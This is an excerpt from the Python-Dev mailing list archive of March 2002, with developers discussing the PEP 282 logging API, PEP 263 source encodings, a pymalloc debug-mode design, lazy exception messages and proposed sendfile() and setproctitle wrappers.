References: <web-3789526@digicool.com> <003f01c1d067$0791f760$652b6992@alpha> <20020320155706.A3542@ActiveState.com> <007801c1d075$ced1ede0$652b6992@alpha> <20020320181307.B3444@ActiveState.com>
Message-ID: <00d601c1d082$df412940$652b6992@alpha>

[Trent]
>     try:
>         ...
>     except:
>         log.exception("My britches are burning!")
>
> sure is a log nicer than
>
>     try:
>         ...
>     except:
>         log.logException(sys.exc_info(), "My britches are burning!")
>
But you don't need to use the latter. For logging exceptions with a level of
ERROR, the former construction works. For the case where you want to log an
exception with (e.g.) a DEBUG level, then you would say

log.logException(DEBUG, sys.exc_info(), "My britches are burning!")

A little long-winded, perhaps, but not *that* bad. It has the benefit of
making it clear that even though it's a DEBUG level call, exception info is
to be sent to the log. Even in Jeremy's example of ZODB/ZEO, I would imagine
that the number of instances where you need to make the second kind of
logging call are relatively (i.e. proportionately) few - from his
explanation I infer that he was talking about "catch-all" exception handlers
which are usually at the higher levels of an application.

Anyway, to change the subject a bit, what are your thoughts on
configuration? As this is the area where the PEP and the present
implementation are both a little weak, I'd like to know more about your
ideas...

Regards

Vinay



From tim.one@comcast.net  Thu Mar 21 02:54:15 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Mar 2002 21:54:15 -0500
Subject: [Python-Dev] Patch  532638: Better AttributeError formatting
Message-ID: <LNBBLJKPBEHFEDALKOLCKEFNOGAA.tim.one@comcast.net>

Check it out:

    http://python.org/sf/532638

*Someone* has written a "lazy msg exception class" before in the core, and
it may even have been me.  If it wasn't me, pipe up and give Skip a nudge in
the right direction (OTOH, if it was me, maybe I'll remember tomorrow).

Another good candidate would be a lazy exception msg for IndexError, giving
the index passed in and the actual limit (that also came up on c.l.py over
the last week).

Since AttributeErrors and IndexErrors are overwhelmingly ignored (recall
that IndexError was the only way to terminate a for loop normally via
exhaustion before 2.2), paying to format a message before the string is
provably needed is overwhelmingly a waste of cycles.

Even calling PyErr_Format() to interpolate two strings (as AttributeError
often does today) seems a significant bit of work to throw away routinely.



From stephen@xemacs.org  Thu Mar 21 05:42:55 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 21 Mar 2002 14:42:55 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <012801c1d020$19da91d0$ced241d5@hagrid>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
 <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
 <012801c1d020$19da91d0$ced241d5@hagrid>
Message-ID: <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Fredrik" == Fredrik Lundh <fredrik@pythonware.com> writes:

    Fredrik> Stephen J. Turnbull wrote:

    >> By the way, where others in this thread have similar
    >> experience, it would be helpful if they could refer to previous
    >> implementations similar to PEP 263.

    Fredrik> XML.

Not similar enough.  There is a big difference between a spec which
states

    Definition: A parsed[1] entity contains text, a sequence of
    characters, which may represent markup or character data.
    Definition: A character is an atomic unit of text as specified by
    ISO/IEC 10646. Legal characters are tab, carriage return, line
    feed, and the legal characters of Unicode and ISO/IEC 10646.

and PEP 263, which deliberately avoids any such declaration.  There is
a big difference between a spec which refers to "different encodings
of characters" which are to be treated by the parser as a sequence of
ISO/IEC 10646 characters, and PEP 263 which specifies parser behavior
with respect to the stream of externally encoded entities.

Note well, these are the differences that I have claimed are likely to
cause trouble for Python if PEP 263 is adopted as is.

    Fredrik> PEP 263 implements the same model, minus UTF-16, and with
    Fredrik> a two-phase implementation plan.

It does not.

    Fredrik> nothing new here.

True.  But the historical antecedent for PEP 263 is much closer to
Emacs/Mule, which comes down on the PEP 263 side of both the issues
identified above, than to XML.

In fact, I described (without being familiar with the XML spec until
you mentioned it) something very close to the XML specification, and
an implementation which gives the same practical benefits as PEP 263.


Footnotes: 
[1]  I am not an XML expert, but as far as I can tell, "parsed entity"
refers to the fact that before it may be used it must be parsed, not
to some kind of transformation of the entity, which is then submitted
to the XML processor.  Ie, the restrictions in section 4 refer to the
data as stored externally, just as PEP 263 does.

-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From jeremy@zope.com  Thu Mar 21 05:51:03 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 00:51:03 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020320181307.B3444@ActiveState.com>
Message-ID: <web-3791391@digicool.com>

On Wed, 20 Mar 2002 18:13:07 -0800
 Trent Mick <trentm@ActiveState.com> wrote:
> Touche, I haven't thought about that either and don't
> know if I am qualified
> to determine if that is a common enough case. If it is
> *not* that common then
> (forgetting the 'level'-issue for the moment) you have to
> admit that:

It seems quite plausible to decide to log an exception and
then get another trivial exception raised and caught on the
way to the logger.  You would still want to log the original
exception, so passing it explicitly is helpful sometimes.
 
>     try:
>         ...
>     except:
>         log.exception("My britches are burning!")
> 
> sure is a log nicer than
> 
>     try:
>         ...
>     except:
>         log.logException(sys.exc_info(), "My britches are
> burning!")

If I would implement debug() and other helper methods, I'd
still like to see it as a keyword argument.  I assume the
various methods would be connected something like this:

class Logger:

    def log(self, msg, level, exc=None):
        "Log msg at level w/ optional traceback for exc."

    def debug(self, msg, exc=None):
        self.log(msg, DEBUG_LEVEL, exc)

    def exception(self, msg, exc=None):
        if exc is None:
            exc = sys.exc_info()
        self.log(msg, ERROR_LEVEL, exc)

This doesn't seem complicated or particularly slow.

Jeremy


From barry@zope.com  Thu Mar 21 06:13:28 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 21 Mar 2002 01:13:28 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <web-3789526@digicool.com>
 <200203210157.g2L1vgW05305@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15513.31240.974502.431306@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> If this use case is rare enough, maybe a better approach
    GvR> would be to let you format it yourself using the traceback
    GvR> module?

This reminds me of another use case for logging, which may or may not
be covered by PEP 282.

When an uncaught exception happens in Mailman (i.e. it percolates up
to the "main loop" of the current process), I always want to log it
somewhere because it definitely indicates a bug.

If this exception happens in the web interface, I will usually log the
exception in some file, and also format the exception into html for
output in the browser, /except/ when a `stealth mode' is enabled.  The
traceback can be considered sensitive information, so when debugging
we turn stealth mode off, but we always ship with stealth mode on.  In
stealth mode, we still always log the traceback to a file, but we
never output the traceback onto the web page.

It would also be great if I can create a logger that knows how to tee
its output to multiple sinks.  If I understand the PEP correctly, I
think I would use two standard formatters, a plaintext formatter and
an html formatter.  I'd then have two custom handlers, one which
outputs to html mindful of the current stealth mode, and one which
tees the LogRecord to two sub-handlers (i.e. the stealth-mode-aware
handler, and the normal to-file handler).

Does this seem reasonable given PEP 282's current proposal?

-Barry


From tim.one@comcast.net  Thu Mar 21 06:18:24 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 21 Mar 2002 01:18:24 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
Message-ID: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>

The thing I've dreaded most about switching to pymalloc is losing the
invaluable memory-corruption clues supplied by the Microsoft debug-build
malloc.  On more than one occasion, they've found wild stores, out-of-bounds
reads, reads of uninitialized memory, and reads of free()ed memory in
Python.  It does this by spraying special bytes all over malloc'ed memory at
various times, then checking the bytes for sanity at free() and realloc()
times.

This kind of stuff is going to be pure hell under pymalloc, because there's
no padding at all between chunks pymalloc passes out, and pymalloc stores
valid addresses at the start of free()ed memory.  So a wild store probably
can't be detected as any sort of memory corruption, it will simply overwrite
part of some other end-user object -- or corrupt pymalloc's internal
pointers linking free()ed memory (and pymalloc simply goes nuts then).
Several months ago Martin and I took turns thinking about a memory overwrite
problem in the Unicode stuff that showed up under pymalloc, and it was
indeed pure hell to track it down.

Following is a sketch for teaching pymalloc how to do something similar to
the MS scheme.  A twist over the MS scheme is adding a "serial number" to
the pad bytes, incremented by one for each malloc/realloc.  At a crude
level, this gives a sense of age to the eyeball; for reproducible memory
nightmares, it gives an exact way to set a data, or counting, breakpoint (on
the next run) to capture the instant at which a doomed-to-go-bad memory
block first gets passed out.  I hope that addresses the worst problem the MS
scheme still leaves untouched:  you can catch memory corruption pretty will
with it, but all you know then is that "the byte at this address is bad",
and you have no idea what the memory's original purpose in life was.

Sketch of Debug Mode for PyMalloc

+ Three new entry points in obmalloc.c (note:  stop #include'ing this;
  hiding code in include files sucks, and naming an include file .c
  compounds the confusion):

DL_IMPORT(void *) _PyMalloc_DebugMalloc(size_t nbytes);
DL_IMPORT(void *) _PyMalloc_DebugRealloc(void *p, size_t nbytes);
DL_IMPORT(void) _PyMalloc_DebugFree(void *p);

+ When WITH_PYMALLOC and PYMALLOC_DEBUG are #define'd, these are
  mapped to in the obvious way from _PyMalloc_{MALLOC, REALLOC, FREE}:

#ifdef WITH_PYMALLOC
DL_IMPORT(void *) _PyMalloc_Malloc(size_t nbytes);
DL_IMPORT(void *) _PyMalloc_Realloc(void *p, size_t nbytes);
DL_IMPORT(void) _PyMalloc_Free(void *p);

DL_IMPORT(void *) _PyMalloc_DebugMalloc(size_t nbytes);
DL_IMPORT(void *) _PyMalloc_DebugRealloc(void *p, size_t nbytes);
DL_IMPORT(void) _PyMalloc_DebugFree(void *p);

#ifdef PYMALLOC_DEBUG
#define _PyMalloc_MALLOC _PyMalloc_DebugMalloc
#define _PyMalloc_REALLOC _PyMalloc_DebugRealloc
#define _PyMalloc_FREE _PyMalloc_DebugFree

#else   /* WITH_PYMALLOC && !PYMALLOC_DEBUG */
#define _PyMalloc_MALLOC _PyMalloc_Malloc
#define _PyMalloc_REALLOC _PyMalloc_Realloc
#define _PyMalloc_FREE _PyMalloc_Free

#endif  /* PYMALLOC_DEBUG */

#else   /* !WITH_PYMALLOC */
#define _PyMalloc_MALLOC PyMem_MALLOC
#define _PyMalloc_REALLOC PyMem_REALLOC
#define _PyMalloc_FREE PyMem_FREE
#endif  /* WITH_PYMALLOC */

+ A debug build implies PYMALLOC_DEBUG, but PYMALLOC_DEBUG can
  be forced in a release build.

+ No changes to the guts of _PyMalloc_{Malloc, Realloc, Free}.  Keep
  them as lean and as clear of #ifdef obscurity as they are now.

+ Define three special bit patterns.  In hex, they all end with B
  (for deBug <wink>), and begin with a vaguely mnemonic letter.
  Strings of these are unlikely to be legit memory addresses, ints,
  7-bit ASCII, or floats:

#define PYMALLOC_CLEANBYTE      0xCB    /* uninitialized memory */
#define PYMALLOC_DEADBYTE       0xDB    /* free()ed memory */
#define PYMALLOC_FORBIDDENBYTE  0xFB    /* unusable memory */

  The debug malloc/free/realloc use these as follows.  Note that this
  stuff is done regardless of whether PyMalloc handles the request
  directly or passes it on to the platform malloc (in fact, the debug
  entry points won't know and won't care).

+ The Debug malloc asks for 16 extra bytes and fills them with
  useful stuff:

  p[0:4]
      Number of bytes originally asked for.  4-byte unsigned integer,
      big-endian (easier to read in a memory dump).
  p[4:8]
      Copies of PYMALLOC_FORBIDDENBYTE.  Used to catch under- writes
      and reads.
  p[8:8+n]
      The requested memory, filled with copies of PYMALLOC_CLEANBYTE.
      Used to catch reference to uninitialized memory.
      &p[8] is returned.  Note that this is 8-byte aligned if PyMalloc
      handled the request itself.
  p[8+n:8+n+4]
      Copies of PYMALLOC_FORBIDDENBYTE.  Used to catch over- writes
      and reads.
  p[8+n+4:8+n+8]
      A serial number, from a PyMalloc file static, incremented by 1
      on each call to _PyMalloc_DebugMalloc and _PyMalloc_DebugRealloc.
      4-byte unsigned integer, big-endian.
      If "bad memory" is detected later, the serial number gives an
      excellent way to set a breakpoint on the next run, to capture the
      instant at which this block was passed out.

+ The Debug free first uses the address to find the number of bytes
  originally asked for, then checks the 8 bytes on each end for
  sanity (in particular, that the PYMALLOC_FORBIDDENBYTEs are still
  intact).
  XXX Make this checking a distinct entry point.
  XXX In case an error is found, print informative stuff, but then what?
  XXX Die or keep going?  Fatal error is probably best.
  Then fills the original N bytes with PYMALLOC_DEADBYTE.  This is to
  catch references to free()ed memory.  The forbidden bytes are left
  intact.
  Then calls _PyMalloc_Free.

+ The Debug realloc first calls _PyMalloc_DebugMalloc with the new
  request size.
  Then copies over the original bytes.
  The calls _PyMalloc_DebugFree on the original bytes.
  XXX This could, and probably should, be optimized to avoid copying
  XXX every time.



From martin@v.loewis.de  Thu Mar 21 06:37:15 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 07:37:15 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
 <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
 <012801c1d020$19da91d0$ced241d5@hagrid>
 <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3ofhiv338.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Not similar enough.  There is a big difference between a spec which
> states
> 
>     Definition: A parsed[1] entity contains text, a sequence of
>     characters, which may represent markup or character data.
>     Definition: A character is an atomic unit of text as specified by
>     ISO/IEC 10646. Legal characters are tab, carriage return, line
>     feed, and the legal characters of Unicode and ISO/IEC 10646.
> 
> and PEP 263, which deliberately avoids any such declaration.  

If the PEP would say

  A Python source code file contains text, a sequence of characters,
  which may represent lines.  Definition: A character is an atomic
  unit of text as specified by ISO/IEC 10646. Legal characters are
  tab, carriage return, line feed, and the legal characters of Unicode
  and ISO/IEC 10646.

it would not change a bit, in my view. Why do you perceive a
difference?

> In fact, I described (without being familiar with the XML spec until
> you mentioned it) something very close to the XML specification, and
> an implementation which gives the same practical benefits as PEP 263.

You've described an implementation model named "hooks", which I always
assumed to be similar to Emacs hooks, and which I understood to
deliberately not deal at all with encodings - doing so would be the
user's task.

XML is completely different in this respect. The EncodingDecl,

http://www.w3.org/TR/REC-xml#NT-EncodingDecl

is part of the language, and the recommendation specifies that any
processor must understand the values "UTF-8", "UTF-16",
"ISO-10646-UCS-2", and "ISO-10646-UCS-4". It also has this statement

# It is a fatal error if an XML entity is determined (via default,
# encoding declaration, or higher-level protocol) to be in a certain
# encoding but contains octet sequences that are not legal in that
# encoding. It is also a fatal error if an XML entity contains no
# encoding declaration and its content is not legal UTF-8 or UTF-16.

I can find equivalents of all this in PEP 263. For example, it is a
fatal error (in phase 2) if a Python source file contains no encoding
declaration and its content is not legal ASCII.

> Footnotes: [1] I am not an XML expert, but as far as I can tell,
> "parsed entity" refers to the fact that before it may be used it
> must be parsed, not to some kind of transformation of the entity,
> which is then submitted to the XML processor.

"parsed" in the context of XML means that the entity has markup, and
thus follows the production extParsedEnt (for example). The production
rules always refer to characters, which are obtained from converting
the input file into Unicode, according to the declared encoding.

Regards,
Martin


From martin@v.loewis.de  Thu Mar 21 06:43:53 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 07:43:53 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEGFOGAA.tim.one@comcast.net>
Message-ID: <m3k7s6v2s6.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> The thing I've dreaded most about switching to pymalloc is losing the
> invaluable memory-corruption clues supplied by the Microsoft debug-build
> malloc.  

I thought that the malloc hooks in pymalloc where precisely introduced
for this kind of debugging. Just put the VC malloc hooks into
_PyCore_ObjectMalloc_SetHooks, and enjoy the features you had been
using all the time.

Regards,
Martin


From thomas.heller@ion-tof.com  Thu Mar 21 07:45:18 2002
From: thomas.heller@ion-tof.com (Thomas Heller)
Date: Thu, 21 Mar 2002 08:45:18 +0100
Subject: [Python-Dev] Add sendfile() to core?
References: <20020320195357.GA15076@ute.mems-exchange.org>
Message-ID: <023301c1d0ac$5925b400$e000a8c0@thomasnotebook>

From: "Andrew Kuchling" <akuchlin@mems-exchange.org>
> The Medusa distribution contains a small module that wraps the
> sendfile() system call, available at least on Unix and FreeBSD.
> The man page explains what sendfile() does:
>
[...]
> sendfile() is used when writing really high-performance Web servers,
> in order to save an unnecessary memory-to-memory copy.  Question:
> should I make up a patch to add a sendfile() wrapper to Python?
>

There is a somewhat similar function on win32 (available in
Win98/NT and newer versions, not in win95):

<quote MSDN>
TransmitFile
The Windows Sockets TransmitFile function transmits file data over a connected socket handle. This function uses the operating
system's cache manager to retrieve the file data, and provides high-performance file data transfer over sockets.
Note  This function is a Microsoft-specific extension to the Windows Sockets specification. For more information, see Microsoft
Extensions and Windows Sockets 2.
BOOL TransmitFile(
  SOCKET hSocket,
  HANDLE hFile,
  DWORD nNumberOfBytesToWrite,
  DWORD nNumberOfBytesPerSend,
  LPOVERLAPPED lpOverlapped,
  LPTRANSMIT_FILE_BUFFERS lpTransmitBuffers,
  DWORD dwFlags
);
</quote>

Would make a nice addition IMO if sendfile is beeing exposed.

Thomas



From trentm@ActiveState.com  Thu Mar 21 07:56:45 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Wed, 20 Mar 2002 23:56:45 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15513.31240.974502.431306@anthem.wooz.org>; from barry@zope.com on Thu, Mar 21, 2002 at 01:13:28AM -0500
References: <web-3789526@digicool.com> <200203210157.g2L1vgW05305@pcp742651pcs.reston01.va.comcast.net> <15513.31240.974502.431306@anthem.wooz.org>
Message-ID: <20020320235645.C32590@ActiveState.com>

[Barry Warsaw wrote]
> This reminds me of another use case for logging, which may or may not
> be covered by PEP 282.
> 
> When an uncaught exception happens in Mailman (i.e. it percolates up
> to the "main loop" of the current process), I always want to log it
> somewhere because it definitely indicates a bug.
> 
> If this exception happens in the web interface, I will usually log the
> exception in some file, and also format the exception into html for
> output in the browser, /except/ when a `stealth mode' is enabled.  The
> traceback can be considered sensitive information, so when debugging
> we turn stealth mode off, but we always ship with stealth mode on.  In
> stealth mode, we still always log the traceback to a file, but we
> never output the traceback onto the web page.
> 
> It would also be great if I can create a logger that knows how to tee
> its output to multiple sinks.

For sure. A Logger object maintains a list of Handlers. You could have one
WebInterfaceHandler and one FileHandler attached to your Logger.


> If I understand the PEP correctly, I
> think I would use two standard formatters, a plaintext formatter and
> an html formatter.  I'd then have two custom handlers, one which
> outputs to html mindful of the current stealth mode, and one which
> tees the LogRecord to two sub-handlers (i.e. the stealth-mode-aware
> handler, and the normal to-file handler).

I don't know if I understand the example case here: do you not even log _to
file_ in stealth mode? In any case I would handle this by attaching a Filter
object to any Handler that should *not* log in stealth mode:

    class StealthModeFilter(logging.Filter):
        """Note this is using the Filter interface in the version of the PEP
        that I haven't re-released yet."""
        def filter(self, record):
            if record.exc_info and inStealthMode():
                return None  # drop the record
            else:
                return record

> 
> Does this seem reasonable given PEP 282's current proposal?

Sure. It depends on how you lay out your code whether the formatting and
display of the web interface is done via the logging module. I don't think
that that would be the right fit. The logging to file definitely fits into
the logging module's purview.



Trent

-- 
Trent Mick
TrentM@ActiveState.com


From mhammond@skippinet.com.au  Thu Mar 21 08:12:10 2002
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Thu, 21 Mar 2002 19:12:10 +1100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <m3k7s6v2s6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LCEPIIGDJPKCOIHOBJEPOEBJFFAA.mhammond@skippinet.com.au>

Martin:
> Tim Peters <tim.one@comcast.net> writes:
>
> > The thing I've dreaded most about switching to pymalloc is losing the
> > invaluable memory-corruption clues supplied by the Microsoft debug-build
> > malloc.
>
> I thought that the malloc hooks in pymalloc where precisely introduced
> for this kind of debugging. Just put the VC malloc hooks into
> _PyCore_ObjectMalloc_SetHooks, and enjoy the features you had been
> using all the time.

I like the idea of pymalloc doing this itself.  It is not hard, and
universally useful.

Share-the-love ly,

Mark.



From trentm@ActiveState.com  Thu Mar 21 08:46:05 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 00:46:05 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <web-3791391@digicool.com>; from jeremy@zope.com on Thu, Mar 21, 2002 at 12:51:03AM -0500
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com>
Message-ID: <20020321004605.D32590@ActiveState.com>

[Jeremy Hylton wrote]
> It seems quite plausible to decide to log an exception and
> then get another trivial exception raised and caught on the
> way to the logger.  You would still want to log the original
> exception, so passing it explicitly is helpful sometimes.

Yes, I suppose so.


> If I would implement debug() and other helper methods, I'd
> still like to see it as a keyword argument.  I assume the
> various methods would be connected something like this:
> 
> class Logger:
>     def log(self, msg, level, exc=None):
>         "Log msg at level w/ optional traceback for exc."
> 
>     def debug(self, msg, exc=None):
>         self.log(msg, DEBUG_LEVEL, exc)
> 
>     def exception(self, msg, exc=None):
>         if exc is None:
>             exc = sys.exc_info()
>         self.log(msg, ERROR_LEVEL, exc)
> 
> This doesn't seem complicated or particularly slow.

Yup, I agree. Except it'll look like this:

class Logger:
    def log(self, level, msg, *args, **kwargs):
        "Log msg at level w/ optional traceback for 'exc' keyword arg."
        if level < self.getEffectiveLevel():
            return
        # construct LogRecord
        # pass LogRecord onto appropriate Handlers

    def debug(self, msg, *args, **kwargs):
        self.log(DEBUG, msg, *args, **kwargs)

    def exception(self, msg, *args, **kwargs):
        if not kwargs.has_key("exc")
            kwargs["exc"] = sys.exc_info()
        self.log(ERROR, msg, *args, **kwargs)

Jeremy,
The methods use 'msg, *args' instead of just 'msg' to avoid string
interpolation if the message will not be logged.  I think that that is still
important to keep, albeit it making the 'exc' keyword argument less explicit.

Vinay,
Here is why I really like this idea now. As per usual, any log message call
has the 'msg, *args' arguments. But, in addition, arbitrary objects can be
passed in as keyword arguments. These objects get slapped into the
LogRecord's __dict__ and any subsequent Handler and/or Formatter can work
with those objects. For example, if I want to log some arbitrarily complex
object I can just add it to the log record. On the handling end, I could have
a Formatter that knows how to deal with that object. For formatters that
*don't* recognize certain objects, a reasonable default like using the pprint
module could be used.

Granted this isn't as generic as log4j's ObjectRenderer system but it allows
the system to grow into that cleanly.

Pros:
   - Jeremy is happy, he can easily log exceptions to specific levels using
     the nice info(), debug(), etc. routines.
   - logger.exception("Eeek: %s", arg) is there for easy use
   - logger.exception("Eeek: %s", arg, exc=sys.exc_info()) is there when one
     need be explicit about where exc_info comes from.

Cons:
   - The signature ...**kwargs... doesn't make it clear that a special key
     for exception info will be handled.
   - This could be construed as too much generality. It may complicate the
     LogRecord and Formatter in that they have to deal with arbitrary keyword
     args. (Mind you, I don't think that that needs to be any issue. For a
     first pass any keyword arg other than 'exc', or whatever it is called,
     could be ignored.)


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From perky@fallin.lv  Thu Mar 21 09:09:16 2002
From: perky@fallin.lv (Hye-Shik Chang)
Date: Thu, 21 Mar 2002 18:09:16 +0900
Subject: [Python-Dev] Add sendfile() to core?
In-Reply-To: <m3bsdjuek6.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Wed, Mar 20, 2002 at 10:14:49PM +0100
References: <20020320195357.GA15076@ute.mems-exchange.org> <m3bsdjuek6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <20020321180916.A35872@fallin.lv>

On Wed, Mar 20, 2002 at 10:14:49PM +0100, Martin v. Loewis wrote:
>
> Certainly. posixmodule.c is traditionally the place for wrappers
> around function supported one atleast some Unixish systems; it
> contains already functions less useful than sendfile.
> 

I did some quick hack to use 'setproctitle' of sendmail.
I think it is very useful for daemons to show their status.
I'm sorry but, can you review this for posixmodule candidate, too?

http://fallin.lv/distfiles/xposix-0.0.1.tar.gz

I tested only on FreeBSD and Linux.


DEMO on FreeBSD

Python 2.2 Stackless 020305 (#4, Mar  6 2002, 04:20:41)
[GCC 2.95.3 20010315 (release) [FreeBSD]] on freebsd4
Type "help", "copyright", "credits" or "license" for more information.
>>> import xposix
>>> dir(xposix)
['PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', '__builtins__', '__doc__', '__file__', '__name__', '__path__', '_priority', '_setproctitle', 'getpriority', 'setpriority', 'setproctitle']
>>> xposix.getpriority(xposix.PRIO_PROCESS, 33762)
0
>>> xposix.setpriority(xposix.PRIO_PROCESS, 33762, 5)
>>> xposix.getpriority(xposix.PRIO_PROCESS, 33762)
5
>>> import os
>>> xposix.setproctitle("searching for the honeypot.. <wink>")
>>> os.system("ps auxw|grep 'searching'")
perky 29060  0.0  1.0  3676 2648  p8  S+    5:41PM   0:00.11 python2.2: searching for the honeypot.. <wink> (python2.2)
perky 30392  0.0  0.2   732  392  p8  S+    5:45PM   0:00.00 sh -c ps auxw|grep 'searching'
perky 30394  0.0  0.3  1176  720  p8  S+    5:45PM   0:00.01 grep searching
>>>


DEMO on Linux

>>> xposix.setproctitle("Python: meeting his girl. *^-^*")
>>> os.system("ps auxw|grep Python")
perky     6231  0.0  0.3  3544 1920 pts/18   S    18:21   0:00 Python: meeting his girl. *^-^*
perky     6252  0.0  0.0  1048  500 pts/18   S    18:23   0:00 sh -c ps auxw|grep Python
perky     6254  0.0  0.0  1424  464 pts/18   S    18:23   0:00 grep Python
0
>>>
>>> xposix.getpriority(xposix.PRIO_PROCESS, 27456)
0
>>> xposix.setpriority(xposix.PRIO_PROCESS, 27456, 17)
>>> xposix.getpriority(xposix.PRIO_PROCESS, 27456)
17
>>>



Thank you!

--
Hye-Shik Chang <perky@fallin.lv>
Yonsei University, Seoul



From walter@livinglogic.de  Thu Mar 21 10:13:36 2002
From: walter@livinglogic.de (=?windows-1252?Q?Walter_D=F6rwald?=)
Date: Thu, 21 Mar 2002 11:13:36 +0100
Subject: [Python-Dev] Breaking bug #411881 into manageable pieces
References: <LNBBLJKPBEHFEDALKOLCOEDPOGAA.tim.one@comcast.net>
Message-ID: <3C99B250.8050308@livinglogic.de>

Tim Peters wrote:
> [Aahz]
> 
>>May I suggest yet one more alteration:
>>
>>    try:
>>        ...code...
>>    except (KeyboardInterrupt,SystemExit):
>>        raise
>>    except:
>>        ...handler...
> 
> 
> Not unless you want to run around editing hundreds of modules.

Why can't we simply change the default for bare except clauses?
I.e.

try:
    ...
except:
    ...

gets equivalent to

try:
    ...
except StandardError:
    ...

To catch everything, write:

try:
    ...
except Exception:
    ...

What about string exceptions?

Bye,
    Walter Dörwald

-- 
Walter Dörwald · LivingLogic AG, Bayreuth/Germany · www.livinglogic.de



From vinay_sajip@red-dove.com  Thu Mar 21 10:17:12 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 10:17:12 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com>
Message-ID: <001f01c1d0c1$92d54340$652b6992@alpha>

[Trent]
> Here is why I really like this idea now. As per usual, any log message
call
> has the 'msg, *args' arguments. But, in addition, arbitrary objects can be
> passed in as keyword arguments. These objects get slapped into the
> LogRecord's __dict__ and any subsequent Handler and/or Formatter can work
> with those objects. For example, if I want to log some arbitrarily complex
> object I can just add it to the log record. On the handling end, I could
have
> a Formatter that knows how to deal with that object. For formatters that
> *don't* recognize certain objects, a reasonable default like using the
pprint
> module could be used.

I like this. I prefer the name "exc_info" (rather than "exc") for the key,
as it is clearer that the result of  sys.exc_info(), or equivalent, is being
passed. How about the following? The kwargs is searched for "exc_info", and
if found it is copied to the LogRecord [and removed from kwargs]. The kwargs
dict is then bound to a "user_info" attribute of the LogRecord.

> Cons:
>    - The signature ...**kwargs... doesn't make it clear that a special key
>      for exception info will be handled.
Agreed, though spelling this out in the docstring will mitigate this...
>    - This could be construed as too much generality. It may complicate the
>      LogRecord and Formatter in that they have to deal with arbitrary
keyword
>      args. (Mind you, I don't think that that needs to be any issue. For a
>      first pass any keyword arg other than 'exc', or whatever it is
called,
>      could be ignored.)
There is a potential minefield here - if we are allowing any logging record
to be sent by wire to a remote logger, then the "user_info" needs to go
too - and what if something in it can't be pickled? Given that it is really
important that the logging system is silent except when explicitly asked to
do something by a logging call, exceptions caught in the logging system are
generally ignored by design. This means that pickling exceptions would not
be raised, and I foresee difficulties for developers... The idea of allowing
arbitrary objects into the LogRecord is very powerful and has much to
commend it, but I think the pickling problem may need to be solved first.

What do you think?

Regards,

Vinay





From trentm@ActiveState.com  Thu Mar 21 10:35:58 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 02:35:58 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <001f01c1d0c1$92d54340$652b6992@alpha>; from vinay_sajip@red-dove.com on Thu, Mar 21, 2002 at 10:17:12AM -0000
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha>
Message-ID: <20020321023558.F32590@ActiveState.com>

[Vinay Sajip wrote]
> [Trent]
> > Here is why I really like this idea now. As per usual, any log message
> > call has the 'msg, *args' arguments. But, in addition, arbitrary objects
> > can be passed in as keyword arguments. These objects get slapped into the
> > LogRecord's __dict__ and any subsequent Handler and/or Formatter can work
